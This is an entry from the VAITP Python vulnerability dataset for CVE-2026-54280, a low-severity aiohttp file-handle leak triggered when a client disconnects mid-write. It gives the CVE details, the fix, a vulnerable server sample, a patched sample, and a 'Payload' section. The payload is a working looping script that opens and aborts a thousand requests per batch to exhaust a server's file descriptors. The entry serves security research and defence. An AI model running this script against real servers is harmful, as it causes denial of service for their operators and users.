VAITP Dataset

← Back to the dataset

CVE-2026-54280

AIOHTTP resource leak on client disconnect causes resource starvation.

  • CVSS 1.7
  • CWE-404
  • Resource Management
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, payload resources are not closed correctly when a client disconnects in the middle of a write. If a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file. This vulnerability is fixed in 3.14.1.

CVSS base score
1.7
Published
2026-06-22
OWASP
A04 Insecure Design
Orthogonal defect classification
Timing/Serialization
Code defect classification
Missing Check
Category
Resource Management
Subcategory
File Handle Leaks
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.14.1 or later.

Vulnerable code sample

import asyncio
from aiohttp import web
import tempfile
import os

# Create a large temporary file to simulate a resource that will be served.
# In a real-world scenario, this could be any large static file.
_temp_fd, LARGE_FILE_PATH = tempfile.mkstemp(suffix=".data")
with os.fdopen(_temp_fd, "wb") as f:
    f.write(os.urandom(20 * 1024 * 1024)) # 20 MB file

async def download_handler(request):
    """
    This handler serves a large file. In the vulnerable version of aiohttp,
    if the client disconnects mid-transfer, the file handle opened by
    FileResponse is not guaranteed to be closed. Repeatedly connecting
    and disconnecting would cause the server to run out of available
    file descriptors.
    """
    return web.FileResponse(path=LARGE_FILE_PATH)

app = web.Application()
app.router.add_get('/download', download_handler)

# To run this vulnerable server, use a vulnerable version of aiohttp
# (e.g., pip install aiohttp==3.9.1 for the similar CVE-2024-23334)
# and add the following lines:
#
# if __name__ == "__main__":
#     web.run_app(app, port=8080)

Patched code sample

import asyncio

class ResourcePayload:
    """
    A conceptual class representing a payload that uses a limited
    resource, such as an open file handle, which needs to be closed.
    """
    def __init__(self, name="resource.dat"):
        self.name = name
        self.closed = False
        print(f"--- Resource '{self.name}' OPENED. ---")

    async def write(self, writer):
        """
        Simulates writing the payload to a client. A client disconnect during
        this operation would raise an exception (e.g., CancelledError).
        """
        print(f"Writing '{self.name}' to client...")
        try:
            # Simulate a long-running write operation that can be interrupted.
            await asyncio.sleep(10)
        except asyncio.CancelledError:
            print(f"Write for '{self.name}' was cancelled by client disconnect.")
            # The exception propagates up to the request handler.
            raise

    def release(self):
        """
        The crucial cleanup method to release the underlying resource.
        The vulnerability was that this method was not reliably called
        when the write() operation was interrupted by a client disconnect.
        """
        if not self.closed:
            self.closed = True
            print(f"--- Resource '{self.name}' RELEASED/CLOSED successfully. ---")

async def fixed_request_handler(payload):
    """
    This function conceptually represents the fixed logic inside the aiohttp
    server. It demonstrates how a `finally` block guarantees resource cleanup.
    """
    mock_writer = object()  # Represents the network connection writer.

    try:
        # The server attempts to write the payload. This is the operation
        # that can be interrupted by a client disconnecting.
        await payload.write(mock_writer)
    except asyncio.CancelledError:
        # In aiohttp, a client disconnect often results in the task being
        # cancelled. This block catches that case.
        print("Handler caught cancellation during write operation.")
    finally:
        # THE FIX: This 'finally' block is the core of the fix.
        # It ensures that `payload.release()` is called regardless of whether
        # the `write` operation succeeded, failed, or was cancelled. This
        # prevents the resource from being leaked.
        print("Handler entering 'finally' block to guarantee cleanup.")
        if hasattr(payload, 'release'):
            payload.release()

# To demonstrate the fix, one would run the handler in a task and cancel it
# shortly after it starts to simulate a client disconnecting mid-transfer.
#
# async def main():
#     task = asyncio.create_task(fixed_request_handler(ResourcePayload()))
#     await asyncio.sleep(1)  # Allow the write operation to start.
#     task.cancel()           # Simulate the client disconnecting.
#     await asyncio.gather(task, return_exceptions=True)
#
# if __name__ == "__main__":
#     asyncio.run(main())
#
# Upon running the simulation, the output would confirm that the resource is
# always released in the 'finally' block, even after cancellation.

Payload

import asyncio
import aiohttp

# The target URL should point to a vulnerable aiohttp server endpoint
# that serves a response from a file-like object (e.g., aiohttp.web.FileResponse).
TARGET_URL = "http://localhost:8080/download_file"

# Number of concurrent connections to open and abort.
# A high number is used to exhaust file descriptors before garbage collection can clean them up.
CONCURRENT_REQUESTS = 1000

async def trigger_leak(session):
    """
    Opens a connection, starts reading the response, and then aborts,
    causing the vulnerable server to leak the payload's resource handle.
    """
    try:
        # Set a short timeout as we don't intend to complete the request.
        async with session.get(TARGET_URL, timeout=5) as response:
            # Read just a small chunk of the response body. This ensures the
            # server has opened the resource (e.g., file handle) and started writing.
            await response.content.read(1024)
            # By immediately exiting the 'async with' block, the client connection
            # is closed, simulating a "disconnect in the middle of a write".
            # The vulnerable server will fail to close the associated resource.
    except (aiohttp.ClientError, asyncio.TimeoutError):
        # Errors are expected as the server becomes unresponsive due to resource exhaustion.
        pass

async def main():
    """
    Continuously launches batches of requests to trigger and sustain resource starvation.
    """
    headers = {"Connection": "close"}
    async with aiohttp.ClientSession(headers=headers) as session:
        while True:
            print(f"Launching {CONCURRENT_REQUESTS} requests to trigger resource leak...")
            tasks = [trigger_leak(session) for _ in range(CONCURRENT_REQUESTS)]
            await asyncio.gather(*tasks)
            print("Batch finished. The server may now be out of file descriptors.")
            # A small delay to allow for observing server state before next wave.
            await asyncio.sleep(1)

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nExploit terminated by user.")

Cite this entry

@misc{vaitp:cve202654280,
  title        = {{AIOHTTP resource leak on client disconnect causes resource starvation.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54280},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54280/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::